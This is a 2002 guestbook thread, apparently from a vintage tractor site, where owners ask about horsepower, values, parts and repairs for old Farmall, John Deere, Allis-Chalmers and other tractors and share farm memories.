carl hite wrote on Tuesday, July 23, 2002 (PDT):I am recently a proud owner of a 1955 WD-45 AC, but am having a hard time finding out the horse power for this particular tractor, if someone could help it would be appreciated.
D. M. McPherson wrote on Monday, July 22, 2002 (PDT):What would a 460 Deisel with narrow front end; TA; fast hitch and 70 percent tires be worth. Tractor is in very good condition but the paint is faided. DMcAceNE at AOL.com
Jake wrote on Monday, July 22, 2002 (PDT):After many years of coaxing by my neighbor I finally bought his '72 1066. I have ran Deeres all my life but got fed up when my 4630 blew up during planting. I am glad I bought that 1066, the price was so good I almost stole it! One of the best tractors I have ever driven. Now my 4630 sits in the shed when it comes time to do field work.
Dan Millard (age 14) wrote on Monday, July 22, 2002 (PDT):I have a super MD wide front in restoration right know. It runs great!! I am a member of the IHC club of the ontario chapter 20. I just reasontly came back from ATHENS, Ontario (near brockville) we had our red power show there this year. Please e-mail me any time with pictures that might help me along with this restoration. Dan Millard Caledonia, Ontario Canada
Dan Martin wrote on Sunday, July 21, 2002 (PDT):I have a 1943 -1945 BN series tractor. Runs great and looking for information on this. What is it worth.
sara haller wrote on Sunday, July 21, 2002 (PDT):you have one of the sweetest tractors in the world.me and my dad love john deeres.im only 12 but i love them. thank for the picture sara
Johnny Lake wrote on Sunday, July 21, 2002 (PDT):I live in north central Texas about 60 miles south of Dallas. I am looking for a belly mower for my 1950 cub. If someone has one for sale in this area contact me by e-mail. Thanks Johnny
Danny wrote on Sunday, July 21, 2002 (PDT):We just bought a case vac for my father we are looking for a grill for it if anyone know's where we could find one please e-mail me thanks.
Fern wrote on Saturday, July 20, 2002 (PDT):My father has a 1964, 1900 model with an original cab on it, it was a very good worker, we used it a lot. But the blower on the 4-53 Detroit engine is broken. I'm sure my dad would sell it. We would like to know how many HP this tractor has.
Michael and Linda Babbings wrote on Saturday, July 20, 2002 (PDT):We have a series 3 Field Marshall 1951 (serial no 13881), spent all its working life in France. It has been restored and is now used regularly on our small farm - rolling, harrowing etc. We also take it to shows and have made many new friends because of it. We hope to obtain a 3a in the not too distant future - so that we have a 'his' and 'her' tractor.
bob wrote on Friday, July 19, 2002 (PDT):Oliver bought Cletrac in 1945. Anyone with an interest in these tractors should belong to the HART-PARR/OLIVER COLLECTORS Assn. Bi monthly mag full of stories and tech info as well as ads for parts and services. contact hpocacc at fiai.net. The best scource for cletrac parts and advice is Zimmerman Oliver-cletrac, Ephrata Pa, 717-738-2573,mon-fri 7-5 EST.
charles houston wrote on Friday, July 19, 2002 (PDT):I have a b f avery model v serial#976. the tractor is in good original condition. I want to take it down and bring it back. The enging smokes, the carb and tramsmission have some problems. Where can I find information and parts that I will need.
Kathy Hudson wrote on Thursday, July 18, 2002 (PDT):we have got a 730 johndeer tractor and it is still running like a new one. what i would like to know if iwas to restore it what would it be worth?
Gail Schmidt wrote on Thursday, July 18, 2002 (PDT):My dad bought a MM U brand new in 1954. I drove that alot of years. Fun tractor to drive. My dad passed away and my husband and I restored it. Looks good and runs good. We're thinking of selling in now. Is anyone interested. If so let me know and I will get you a picture.
Troy Perry wrote on Thursday, July 18, 2002 (PDT):Also if anyone has partsI coulduse some to fiish my tractr. I need Fenders an A hand crank, and also a PTO cover anda tool box. any help in these areas would also greatly be apreciated Thanks.....
steve wrote on Wednesday, July 17, 2002 (PDT):I have a BlackHawk Golden Eagle 40D4 ser.No. 31531 like to know more about. Plus value good shape. Wooster,Ohio
George wrote on Wednesday, July 17, 2002 (PDT):Hello, evryone! I'm George from Russia. I have a 444 about 1951 year of manufacturing. The engine has some defects. I'm looking for engine parts; cilinders and others. I also can purchase a complete engine. It would be so gread if anyone could help me.
tim emmersom wrote on Tuesday, July 16, 2002 (PDT):our beagle club has an oliver super 55 that was bought shortly after the club was form the gas motor has been overhauled recently and new clutch the tractor is in very good shape we are thinking of selling it what would be a fair price
Penny wrote on Tuesday, July 16, 2002 (PDT):Hello everyone! I'm looking for some good pictures of a farmall H, I'm getting a tattoo done this week, but I need a pic. first!! The one my cousin has at his farm is an H I think... he call's it a 70? I dunno, I'm confused... all I know is there are big things to sit on over the back wheels, and I can't find a picture ANYWHERE! If anyone can help, please e-mail me!
keith groves wrote on Tuesday, July 16, 2002 (PDT):have a 1948 #30 cockshutt looking for a good waterpump or a rebuild kit or places to find
Zach wrote on Monday, July 15, 2002 (PDT):I saw two of these AO's at the expo show in Waterloo, Iowa on July 13, 2002 along with hundereds of other two cylinders
Zach wrote on Monday, July 15, 2002 (PDT):I was looking at buying a JD A but im not sure what year it is. It has the slanted dash where the gages are, I was wondering if someone could tell me know inbetween what year it is. Any information would surely be appreciated thank's.
Daniel wrote on Sunday, July 14, 2002 (PDT):i recently purchesed a hg53 dose any one have a photo or information on my tractor please.
Pat Westcott wrote on Sunday, July 14, 2002 (PDT):I am having problems with my tractor (1952 JD MT). I can't get any significant rpm's out of it. This problem happened all of a sudden. Hence, I have to power to operate the tractor or impliments. I have replaced the plugs, points, condensor and checked the timing (by ear only) and still, no power. Any suggestions? Thanks.
George Chapman wrote on Saturday, July 13, 2002 (PDT):I own a 1948 Leader model D and would like to trade information with others. My tractor runs great and we take it to shows. I've never had more than two others at a show with me.
Gene Cockrell wrote on Saturday, July 13, 2002 (PDT):I bought a 1940 B a couple years ago and it came with several implements; There is a two disk plow (Athens Plow Co.) an several A-C items; a seeder with a bunch of star wheels, a 1-row plow, some type of subframe that mounts under the tractor, some cultivator heads, a non-hydraulic drawbar (tractor has 1 cylinder hydraulic lift drawbar now). Question is, I bought the tractor for shredding and moving stuff around. This it does pretty well but how do you use the other implements?
norbert wrote on Friday, July 12, 2002 (PDT):I am planning on restoring a 856 but i dont have pictures to go off of. Its one of our most used tractors. We also have farmall Super M, super H and super MTA. To go along with them we have a 1066 and a 1586. If anyone has any pictures of a 856 send them to me.
Leonard J. Rahilly wrote on Friday, July 12, 2002 (PDT):Spent some of the best years of my younger life on two Farmall Hs, one a low-compression '41, the other a high-compression '51. Much, much more comfortable than an F-20, very easy to drive (more like an F-14), nice, agile chore tractor. Needed another gear between 4th and 5th, because 5th was just too high to be used with the engine throttle back to get 6-8 mph, as you often wanted to go over a gravel road or to haul a load of hay on such a road or on a path through the fields. The engine speed had to be kept up when the tractor was heavily loaded. With only 152 cubic inches, there really wasn't much torque for the heavy going (an F-20, with 221 cubic inches, just could not be stopped when the soil got heavy; it might slow down, but would just keep chugging along; the H would bog down and die on you if the going got too heavy). I always thought the H was the most beautiful tractor design EVER, but I must say that I was disappointed in the lack of power. Very nice to drive, by comparison with the older stuff, although today it seems pretty crude after you've been aboard one of these super-duper air-conditioned, power-everthing modern wonders.
Leonard J. Rahilly wrote on Friday, July 12, 2002 (PDT):I spent a lot of time on an F-20 in the 40s, and have owned a couple since 1980 (sadly, had to sell them when I moved into town last year). A really rough riding beast, with steering that was fairly easy but could break your arm if you hit a rut and were leaning through the spokes of the wheel, as lots of people used to do. Tremendous torque. Everybody said that the Farmall H couldn't keep up with an F-20, and I'm here to tell you it's true. The F-20 was designed to put out about 15 horsepower at the drawbar ON STEEL WHEELS. When it was converted to rubber, it became a roaring, snorting beast. I estimate the drawbar horsepower to be about 23 on rubber and burning gasoline. That is several more than the drawbar horsepower of a rubber-tired H. Besides, the engine has 221 cubic inches, versus 152 for the H, so there is a huge amount of torque. I used to love the beast. A few years ago, I bought an old F-20 and took it out in a rough meadow to do some "bushhogging." Wow, what a rough ride! I still admired the old gal, but I sure wouldn't want to do a lot of farm work with one today! Indestructible machinery--everything heavily made, big ball bearings on the crank, huge gears in the transmission and final drive.
Leonard J. Rahilly wrote on Friday, July 12, 2002 (PDT):I used to use a "Regular" Farmall that belonged to a neighbor. It was on 36" rubber, and except for the lack of the extra gear, it performed very much like the F-20 that I also used back then (early 40s). The Nebraska test is deceptive, because the earliest Farmall had a 1" carburetor opening. Later models had 1-1/4", the same as the F-20. The carb and manifold were different, but I believe that the developed horsepower was very similar for both tractors after the carb change. I do not believe that IHC ever called this tractor "Regular." Everybody else did, of course. You'd hear this; "Well, she ain't a F-20, she's jist a reg'ler Farmall." I have some old catalogs from parts suppliers, and they refer to the tractor as "Regular." Still, I have only seen "the original Farmall" or "the Farmall" in International sales brochures or advertisements in farm magazines from the 30s. This tractor and the F-20 were so common that many modifications were made to them. It was possible to buy overdrive transmissions, to double the speed, variable governor kits, a brake handle for the right side, foot brakes, and gasoline manifolds. This is one reason why people like Ertl make some royal booboos in their models of these tractors. I'd guess they go out and find a "restored" tractor, but don't know enough about it to realize that the governor has been changed, the manifold is not original, or a magneto other than the original type has been put on after the E4A or F-4 has bitten the dust. Oh, well!
Leonard J. Rahilly wrote on Friday, July 12, 2002 (PDT):I just wrote a few words about the F-14. Spent hundreds of hours on 3 F-12s between 1939 and 1969. Incredibly sturdy machine. Its only problem was the fuel pump, and that only after a good many years of use. Fuel pump diaphragms back then didn't last forever. I think IHC thought they'd get a little more power from a downdraft carburetor, hence the need for a fuel pump. The F-12 on steel was a pretty anemic device, but rubber tires transformed it! We routinely pulled 2 12" bottoms, or a 7' disk double disk harrow, both in second gear. The 7' disk was bought originally to be pulled by a 10-20, so the little F-12 had a big heart. It was pulling at its limit, but I never saw any sign that we did any damage. The gears were huge for the horsepower transmitted; maybe that's why there was never any transmission trouble. The engine was very modern for 1932--full-pressure lubrication + an oil filter.
Leonard J. Rahilly wrote on Friday, July 12, 2002 (PDT):I just wrote a few words about the F-14. Spent hundreds of hours on 3 F-12s between 1939 and 1969. Incredibly sturdy machine. Its only problem was the fuel pump, and that only after a good many years of use. Fuel pump diaphragms back then didn't last forever. I think IHC thought they'd get a little more power from a downdraft carburetor, hence the need for a fuel pump. The F-12 on steel was a pretty anemic device, but rubber tires transformed it! We routinely pulled 2 12" bottoms, or a 7' disk double disk harrow, both in second gear. The 7' disk was bought originally to be pulled by a 10-20, so the little F-12 had a big heart. It was pulling at its limit, but I never saw any sign that we did any damage. The gears were huge for the horsepower transmitted; maybe that's why there was never any transmission trouble. The engine was very modern for 1932--full-pressure lubrication + an oil filter.
Leonard J. Rahilly wrote on Friday, July 12, 2002 (PDT):I spent years on 3 F-12s, and although I never used an F-14, I have read up on the differences between it and a 12. It appears that the engine was made "more powerful" just by tightening up the governor spring, to give 1650 rpm full load, if I remember rightly. There is a different pinion going into the gearbox, so that in effect the higher-speed engine was geared down to give about the same ground speeds as the F-12 had. The Nebraska tests show a small increase in horsepower for the F-14, probably enough to make it handle 2 14" plows in good soil. Our rubber-tired F-12 would handle 2 12" plows in second gear in any soil. At that, it was an amazing machine. A neighbor who thought F-12s were "awful puny" because he had only used them on steel was amazed to see what our rubber-tired tractor would pull (this included a 7' double disk harrow, originally bought to be pulled behind a 10-20). I used to chafe at the incredibly slow speed over the road (4 mph tops!), but I still admire the tractor for what it could do, and for how long it lasted (my dad parked his '38 F-12 only after the manifold burned through in the late 60s--a good 30 year run!).
JOHN BARNA wrote on Friday, July 12, 2002 (PDT):Iam looking at a td9to buy, when you try to startitit trys to run but cant get going , while it is turning over there is a lot oF black smoke, when you pull it it starts right up and runs on gas and you can switch it to diesel and it runs well, after the first start up it will start and run normally can anywone help with this problem, i would like to buy this tractor as it seems to be allright otherwise sincerly JOHN
the adelmann boys wrote on Thursday, July 11, 2002 (PDT):My sons are looking along with myself for early year john deere D only because it is our favorite tractor around my boys are happy every time they see any make model year tractor if you have one to sell please make 4 boys happy !!
Bill LaCoe wrote on Thursday, July 11, 2002 (PDT):D 17 wont roll with high/low lever in forward possition. What may be wrong? Also wont stay in 3rd gear and rear lift wont stay up.
BUD SCHAEFER wrote on Wednesday, July 10, 2002 (PDT):BRIAN L. CAN YOU TELL ME A BALL PARK FIGURE FOR YOUR D-17 AND DOES IT HAVE A 3 POINT AND HYD.LOOKING FOR SOME THING TO USE AROUND HERE.AND WHERE ARE YOU LOCATED.THANKS.YOU CAN E-MAIL ME WITH IMFORMATION IF YOU WISH.
Richard Shackelford wrote on Tuesday, July 09, 2002 (PDT):Could someone please tell me when john deere started putting 3 point hitches on there tractors?? The models that they started.......Thanx ......Richard
Bill LaCoe wrote on Monday, July 08, 2002 (PDT):Also have 1944 "B" for sale, Includes AC plows and belly mount cultivators. New sleeves, pistons,head planed,seats ground,new valves,new rubber,muffler,gaskets,battery,wiring,headlights included etc.
Bill LaCoe wrote on Monday, July 08, 2002 (PDT):Where is the best place to pick up a 3pt. conversion kit for my series 1 D17
Harry wrote on Monday, July 08, 2002 (PDT):I'm needing a back wheel for a 300 utility. I am located in middle Tennessee. Does anyone know of a salvage yard in the area?
bill wrote on Monday, July 08, 2002 (PDT):hi looking for any pictures or sites on ih 706 and 66 series tractor. anything would be appreciated. Thanks
Edmond wrote on Monday, July 08, 2002 (PDT):I would like to know if anyone out there has a picture of a M-H pony with a "potato cultivator" attach underneat. If so, could you please e-mail me a copy.
Todd Walters wrote on Sunday, July 07, 2002 (PDT):My father-in-law just was gifted his grandfather's 'G'. We are looking for resources like service & part manuals, and places to buy parts like belts, hoses, and plug wires, etc. It always stored inside, runs great, we just want to freshen it up.. Where is the serial number located? Thanks
Tommy McDonald wrote on Saturday, July 06, 2002 (PDT):Just bought a B Farmall, pretty good condition. Been setting for a while. The gas in the gas tank has turned to black gummy yuk. Any ideal on how to clean that up. Also intrested in a bellie mower for it. Don't know the year yet. Circa 1946 - will try to search that out. Anyone with any info can e-mail me at; tommyr at bubbajunk.com
Stephan Neef wrote on Friday, July 05, 2002 (PDT):I have a FE 35 from 1962, still in good condition and in use for minor jobs around our horse keeping hobby. Is anybody interested in that machine ? I am considering to sell it.
r.nickel wrote on Friday, July 05, 2002 (PDT): Have a 1941 JD A that's seemed to have gotten her engine stuck somehow? Was fine until I moved it here to the coast of BC, and was wondering how to tell if she's got a blowin head gasket or not? The oil leaking out of her looked real watery and gray so I'm thinking this is probably the case? Is it a big job to replace the headgasket on an old girl like this or can a rookie like myself handel it without too much trouble? Any info would surely be appreciated thank's.
Don Copler wrote on Thursday, July 04, 2002 (PDT):Louis Krock; I have a Model 48D Leader that runs very good, and another 48D for parts. I want to sell all. I live in Floyds Knobs, IN, just across the Ohio River from Louisville, KY. email; copler at juno.com or (812) 944-8916
Chris Faulkner wrote on Thursday, July 04, 2002 (PDT):I am getting ready to purchase a 160 very low hours good tight cclean tractor in perfect shape. Just curious what the tractor is worth. thanks
S Le Roux wrote on Wednesday, July 03, 2002 (PDT):I have a W4 with regnr 12748w3 can somebody give more onfo on this tractor This one is without selfstater
David wrote on Tuesday, July 02, 2002 (PDT):I bought a front push blade for my Cub and did not receive a manual. The seller stated that he had all the parts, but after seeing a picture believe some may be missing. I looked at what was given to me and can't figure out how it attaches. If someone could help with picture or a direction to turn, it would be a great help.
carl d. england wrote on Sunday, June 30, 2002 (PDT):ac45. does it have a 2or3 disc transmisson clutch i have two manuals which show two disc. my 1953 tractor has three disc. it takes quite a bit of effort to engage and quite a loud snap when disengaged. help.
larry sands wrote on Sunday, June 30, 2002 (PDT):I have a SC Case # 5330442. I need to have the magnito re-built. Please let me know of any good place to get it done.Thanks Larry
will ziesmer wrote on Sunday, June 30, 2002 (PDT):just bought a 40 a crawler in peices and a model tractorthat ireal rough and incomplete. i do not know if i want to sell or try to restore. is there any information out there on 40 crawlers, parts, and collectors?
John Smith wrote on Saturday, June 29, 2002 (PDT):I have recently aquired an 1951 MMZ and the tractor above is not the same, everyone else was correct.What I would like to know is what H.P. am I working with?
Scott wrote on Saturday, June 29, 2002 (PDT):Anyone know of a good web site to track down IH 1066 parts (i.e. the filter gauge). My grandfather has the IH 1066 and the filter gauge is not working. Replaced the capacitor on the filter side it-self and still does not work. Need to replace the gauge now. Any help is greatly appreciated.
April wrote on Saturday, June 29, 2002 (PDT):I have recently acquired a Funk w/ valve in head 6 & am looking for the auxillary fuel tank and original generator bracket(s). Any help appreciated. Would like to also purchase Funk w/Flat head 6 & Funk V8 tractors .. any condition considered. Thanks for your time.
Brad Rising wrote on Saturday, June 29, 2002 (PDT):I am looking for a power steering set up for a WD 45, please contact me if you have a setup for sale, or know how to make one up, Thanks, Brad stockdragrace at aol.com
Nick Seger wrote on Saturday, June 29, 2002 (PDT):hey i think i have finally seen the light. The next tractor we get will be green and not oliver green!!!
Robert Cottrell wrote on Saturday, June 29, 2002 (PDT):There are some people i have met in conneticut that have a old tractor parts junkyard and they can get parts and manuals for most of the Furguson line of tractors . I own a Fergy that was baught 4 yrs ago which was in a fire , many partsto replace but found them at this WEB SITE; wwwtractorpartsunltd.com 8 goshen rd Bozrah.Conn 06344 Tel (1-860-889-0051 ) i hope this will be of help to those who need parts , they carry many parts for many vintage tractors.
Jim White wrote on Friday, June 28, 2002 (PDT):I just bought a ford 800 with the front end loader, how do i find the year it was made it has a 6 volt system, any one know the value of these tractors? thanks Jim
Pat Rosato wrote on Friday, June 28, 2002 (PDT):Chuck.........if it still has a 6 volt battery, the left side is the positive side and that gets hooked up to the negative post on the battery. 6 volt batteries are installed in reverse. Positive post of the battery gets hooked up to the ground on the right side. On the right side of the tractor you will find a number on the side of the engine, Example; 5-14-A. That means it was made on May 14. The tractor serial number is on the right side on a plate attached to the clutch housing and will be a four digit number, like 6855. The engine serial number is located on the right side of the engine crankcase and will look something like C-169-22713. The C-169 means it is a carburated engine with a 169 cubic inch piston displacement. Hope this helps.
Milo Moen wrote on Friday, June 28, 2002 (PDT):My Pop had a 1948 D. It was the best plowing tractor i ever operated. Our farm was in Mapleton, North Dakota, in the Red River Valley. Black Loam soil. Pulled a 4 bottom plow at , if I remember about 4 MPH. Covered a lot of ground in a day. This was my favorite tractor. This was in the late 50's early 60's.
Nate Eifert wrote on Friday, June 28, 2002 (PDT):I found a Massey Harris 44 sitting in a shed that is owned by a farmer that we were knifing-in fertilizer for. It has some surface rust and a few dents from being used, it proably hasn't run in five or more years, but the engine still turns over by the hand crank. I was wondering what mite be a reasonable price to offer this gentleman for the tractor, and how easy are these tractors to get parts for?
larry wrote on Friday, June 28, 2002 (PDT):I have just acquired a 1945 UTU. I plan on restoring it. I used to use it on the farm as a boy and I finally talked my dad out of it. The engine purrs, but I need an Exhaust manifold, it is cracked. Anyone have one or know where to get one --please email and let me know.....thanks larry
Tony Franks wrote on Friday, June 28, 2002 (PDT):I have a 1931 Farmall Regular for sale as well as a "woodpecker" hay baler. Tractor engine is not stuck. Don't know its worth, but would like $500.
Chuck wrote on Friday, June 28, 2002 (PDT):I am working on trying to get a international 300 utility running. I just replaced the battery, but I am not sure which polarity is ground. Could anyone help me out here? I have no clue as of the year of the tractor, just that it is old. My dad had it running a few years ago, I just worked on fixing the fuel bowl, and replacing the battery, not sure about the carb yet, the points look good but not sure if it even fires.. want to make sure the battery is hooked up correct first.
Mech_Head wrote on Thursday, June 27, 2002 (PDT):My PawPaw still has the b tractor, my mamaw had just painted it about 4 years ago, can we submit pic's here?
Mech_Head wrote on Thursday, June 27, 2002 (PDT):Rest in peace Mamaw,we love you so mutch...
Mech_Head wrote on Thursday, June 27, 2002 (PDT):I started out on a farmall b gas. I was less then ten years old easily, sitting on mamaw's lap raking hay,I'll never forget that.I could of drivin that tractor all day and night, I could'nt get enough...
Paul Peterson wrote on Thursday, June 27, 2002 (PDT):My father has a UTSD at least that is what the books say it is. He claims it is a UB special we believe it is a 1956 model the serial number starts with 500. This tractor is in need of work, if anyone knows of a hood and side panels I would appericate help, we live in ND.
Ely Briggs wrote on Thursday, June 27, 2002 (PDT):Thomas you have a costly machine, for the United States.
chris gore wrote on Wednesday, June 26, 2002 (PDT):i have a MT its a greeat tractor im in the prosses of restoring it i love the sound of the two pistons when i uesd it to work i take the muffler off then she popps i do ever thing wiht it
Nicholaus Thompson wrote on Wednesday, June 26, 2002 (PDT):Can anyone tell me what model of tractor is right behind the JD MT?
Wally wrote on Tuesday, June 25, 2002 (PDT):I have 2 f20's which i'm going to make one good tractor out of, I'm looking for some good tires at a good price does anyone know where i could find some?
Paul Grant wrote on Tuesday, June 25, 2002 (PDT):I bought a Orange Grove and small ranch, I bought a 420U with the property, had a disk, Plow, tiller, and fresno(rear scaper). Today I will replace the frt tires, and my starter went out some sort of short, think it may be the swicth, Does anyone know if the starter is Delco/Remy? Can I still get a new starter?Anyone have Parts for sale? I need a steering shaft, and good steering Wheel, left rear brake pedal, allso any ifo on restoration , maybe an workshop Manual. Please feel free to cal me I am in Riverside CA 909-785-0610
FLASH2 at asheboro.com wrote on Tuesday, June 25, 2002 (PDT): I have (1)allis chalmers H-3 dozer w/6way blade and spare parts,2 transmission,REAR ends an misc. dozer needs rear drive bearing, haveparts.working on it now,trying to find drive pin on tracts, book says pin 5/16 longerthan others
Andrew Menkart wrote on Tuesday, June 25, 2002 (PDT):Casey, Thank you very much for the response. Is there any particular model of "International Harvestor (McCormick Farmall) Cub Tractor"? Or did they all have the C-60 engine. I have sent an email to the this site asking if they can point me to the service manual with your information. Thanks again. Regards, Andrew
scotty wrote on Tuesday, June 25, 2002 (PDT):I have a Farmall B for sale. Pretty much complete. Needs restored or a good parts tractor.$400. or best offer
Jack Bailey wrote on Monday, June 24, 2002 (PDT):I have a 1933 F12 Farmall with a wakashaw flat head. I need a mag and a cylinder head.
Casey Criswell wrote on Monday, June 24, 2002 (PDT):Andrew, the C-60 is the engine from the International Harvestor (McCormick Farmall) Cub Tractor. It has a displacement of 59.5 cubic inches.
mgood wrote on Monday, June 24, 2002 (PDT): I was raised on the earlier UTS models on lp. Durable was not an adequate term. The UTS models would actually out last their owners ; the UTU models were arm breakers; but if You could stay with them You could depend on many years of cotton corn farming with these models with little or no trouble...
Darwin Whitmoyer wrote on Monday, June 24, 2002 (PDT):Hi, the tractor looks great. I have one I use here on the farm, would like to find a set of side shields for my 60, then I can will start restoring it. Thanks
Dave wrote on Monday, June 24, 2002 (PDT):Does anyone know how much HP an International 300 tractor produces?
Andrew Menkart wrote on Monday, June 24, 2002 (PDT):I don't know if this is the correct place to post this question or not... but I am trying to detirmine what tractor used the IHC C-60 engine. I am trying to get an engine service manual and I understand that there is a tractor manual that contains engine service information. Can anyone tell me or direct me to the manual...? Maybe this site sells the manual, but I don't know what tractor model it is. The IHC model C-60 engine is 4 cyinder, 2-5/8" x 2-3/4", 60 cid Thanks... Regards, Andrew Menkart
Andrew Menkart wrote on Monday, June 24, 2002 (PDT):I don't know if this is the correct place to post this question or not... but I am trying to detirmine what tractor used the IHC C-60 engine. I am trying to get an engine service manual and I understand that there is a tractor manual that contains engine service information. Can anyone tell me or direct me to the manual...? Maybe this site sells the manual, but I don't know what tractor model it is. The IHC model C-60 engine is 4 cyinder, 2-5/8" x 2-3/4", 60 cid Thanks... Regards, Andrew Menkart
Jack Hendrix wrote on Sunday, June 23, 2002 (PDT):Iam restoring a 1950 model 30 RC. Where can I get the correct paint? Also need a new radiator. Thanks
Joe Wolfe wrote on Sunday, June 23, 2002 (PDT):I have a 1951 Oliver Row Crop 66. Can anyone give me info on places to order parts for it?
jason sass wrote on Sunday, June 23, 2002 (PDT):we used to have 2 560 diesels. one of them had a M&W turbo on it. the other one we still have.our 560 turbo was the most cold blooded thing that ever lived. it was a miricale if it started in the middle of july. that tractor could pull anything. it could keep up to a 856 diesel. the other 560 diesel we still have. it run excellent with only 3610 original hours on it.
RV Kerns wrote on Saturday, June 22, 2002 (PDT):I own a 70D with wide front, 800A 3 pt and long axles with dished wheels. This baby sings. Friend told me of when he was a younger man that he had a 720D and his brother had a 560D ih. Both pulled the same # of bottoms in the gumbo in the Mo river bottoms. The 560 would try to run up and over him but when he hit a tough spot, the ole 720 just kept going but the 560 hit the ta and still lugged down, sometimes having to stop and shift. Fuel consumption is the most economical of any tractor built in hp versus work done versus fuel used. It took a yanmar (jap) engined subcompact tractor in 1984 to beat it. Nothing can touch a deere. Competetion is nice but ya gotta give up sometime. Deere is the only manufacturer to still be wholey it's own. When they make machines like the 70/720/730D that still out perform a lot of newer makes, well keep trying. Yes, they are not as handy or fast as some of the new stuff but for the price, nostolgia, resale and value they deliver, the only tractor that could eclipse it is the 4020.
Ross Stover wrote on Thursday, June 20, 2002 (PDT):My father owned two of these (one with two narrow front wheels) in Block One north of Pasco, WA from about 1954. I drove it in the hay field in l957 and 1958 summers, to mow the alfalfa, bale it and haul it in, using a low wagon and hay hooks. I still have one tractor (retired when it got too haard to start). Anyone want to buy it?
C.L.Bowman, jr wrote on Thursday, June 20, 2002 (PDT):Several people have contacted me about the 550 listed in the above comments. The guy in Pennsylvania that I had it sold too backed out on me at the last minute. Said business had gone sour and he was afraid to spend any money right now. Any way, it is again for sale for $1000.00 . I live just west of Fort Smith Arkansas at Muldrow, Ok. My phone # is 918-776-0655. I can email you some pictures if you like.
MIke wrote on Wednesday, June 19, 2002 (PDT):I trying to find a model M for my dad. He wants a 1939 model. It doesn't have to be perfect. In fact he would like to restore it himself. Does anyone have one for sale?
Joe Sherman wrote on Tuesday, June 18, 2002 (PDT):My father needed help with his International 300 with 3-pt. hitch and PTO. Hydraulic oil was leaking into the crankcase so I pulled the pump and replaced the front seal (just behind the helix drive gear. The pump is attached to the right side of the engine case, just below the generator. The distributor attaches and is driven from the hyd. pump. The hydraulics for the 3pt. hitch worked last year but now they don't. I only changed the front seal and put everything back together correctly. It seems we get no pressure from the pump. The hydraulics worked last year and I wonder if the pump is the problem or is it the control valve located on the right side of the hyd. oil tank next to the right fender. The tank is below the driver seat. I found a bleed screw on top of the pump and tried to fill it when stopped and also when running to bleed the system. No luck. There was a spring under the bleed screw, not sure why. The manual does not have any good illustrations of the system. There are two small pipe plugs on the tank, near where the solid supply and return lines to the pump attach, but I don't know which is which - I assume these are for attaching a pressure guage for troubleshooting. I suspect the control valve has a relief valve internal, but not sure. If the pressure relief is open then that is probably why I have no pressure. But like Dad says, "It worked before." If anyone has any suggestions please email me. I was real careful to do everything right and the hydraulic oil reservoir is full. I just do not know why the hydraulics aren't working. The control valve 'feels' normal as you can lift and lower the handle into the up, down, and center positions. Please help. Thanks.
Ricky appling wrote on Tuesday, June 18, 2002 (PDT):this is a very nice tractor and looks like whoever restored it did a good job
Casey Criswell wrote on Tuesday, June 18, 2002 (PDT):I just purchased my second cub,a 56, to go along with my 76 that I mow with. The new "baby" has a fast hitch, plow, tumblebug, and blade. (My wife says I have a problem) It also came with a Howard rotovator and the reduction gearbox. I tried plowing in low range the other day and the right hand rear wheel does not pull. When I put it in high range both wheels pulled. Is this normal operation for the reduction gearbox? Also, the 56 came with a complete set of manuals; Operator, Service, Tractor Parts and Implement Parts for cubs equiped with Fast Hitch. The Service and Parts manuals are reproducable. Is anyone out there interested in obtaining copies?
scot timm wrote on Tuesday, June 18, 2002 (PDT):what can i do to get the most out of my M.D for tractor pulling
Candy Westhoff wrote on Tuesday, June 18, 2002 (PDT):Patrick Webb, please contact me if you still have the John Deere D for sale. Thanks
Joyce Groves wrote on Tuesday, June 18, 2002 (PDT):Have a Ford 2000 4 cyl gasoline, used to cultivate tobacco with. Put a new carberator on it. Cannot seem to control the speed, which makes it hard and causes a lot of resetting of tobacco and uncovering the plants. Please me some information regarding this problem on how to fix this problem? Thanks.
Ken wrote on Monday, June 17, 2002 (PDT):We recently acquired a 1947 SC running with hydraulics and a front end loader. It appears to have an enhanced wide axle on the front for stability. Was this a kit from JI Case or a make shift shop built arrangement. It seems to opearte very well. Was there a 3 point hitch for them? What is an eagle hitch? does anyone know where I could find a book? Thanks Ken
john martin wrote on Monday, June 17, 2002 (PDT):i think i have a d10 high crop anyone interested are knowing more about them please contact me at my e mail adress at www.atlantabraves808 at aol.com thank you
Tyler Dillon wrote on Monday, June 17, 2002 (PDT):I'm 12 years old and me and my dad use his John Deere 60 (i think it's 1957) to drill postholes for fence that we build all the time on our land. it runs really good for that old and we pick up 2,000 pound bails w/it and i'm just amazed how long it has run!! it's on it's 2nd frame though becuz we cracked the first one hauling heavy bails down the road to neighbors!
don wrote on Sunday, June 16, 2002 (PDT):i have 4 excellent working pacers .2 are original owners.all kinds of equipment. i live in nova scotia and welcome all lookers and buyers.come and browse, makes a great day of looking and i talk like i was innoculated with a gramaphone needle .stale coffe always available. don
MAC REYNOLDS SUNBURY AUSTRALIA wrote on Saturday, June 15, 2002 (PDT):I have a CASE 930 Comfort King Western Special, purchased sight unseen at an Auction in Berrigan, NSW, Australia, when I picked it up, I was very pleased with the condition, I am looking for a set of Chaff Screens for it, if anyone can help, please contact me at the above email address. I intend to enter this tractor in Vintage Tractor Pulls - Classic Class, against the Chamberlain Super 70's & Super 90's.
john conlon wrote on Saturday, June 15, 2002 (PDT): I have 1961 881 ford sos tractor had tranny rebuilt about25 years ago no problems since.
A Thomas from new zealand wrote on Saturday, June 15, 2002 (PDT):I have just bought a Farmall Super BMD (British Diesel M)does anybody have any information on this tractor, espcially to find out the year.
Bill Gilbert wrote on Friday, June 14, 2002 (PDT): twelve years ago I purchased what was believed to be a Massey Harris 33 Have kept it inside, and used it to plow snow and skid logs, pull stumps and excavate with the hydraulic bucket mounted on it does anyone have any info on the 33 if there was such a tractor? anyone interested in obtaining it>
Warren Cooke wrote on Friday, June 14, 2002 (PDT):Around 1960 my father , who lived in "row houses " in Baltimore rented a house in what is now Columbia, MD. It was a big stone walled ranch house with a 3 car garage. Part of the deal to rent the house was the fact that the grounds must be cared for as part of the rental contract ,not that we wouldn't have ,anyway. It was my job ,as the eldest child to cut the grass...........some 8 acres surrounding the hilltop house. When I opened the garage doors for the first time, there was a sparkling, like new, bright red Farmall Cub with what I now know was a 3 blade belly mower. For the first time ever, I never complained about cutting the grass !! What a joy to drive. Alas, when we moved to our own house,some years later, it stayed with the owner of the property.Your wesite brought back long forgotten memories
Neil Olness wrote on Thursday, June 13, 2002 (PDT):My dad has a 50's W4, it is missing one headlight bracket and needs a water temp. gauge. Will a gauge work from an H? If anyone can tell me where to find parts that would be great.
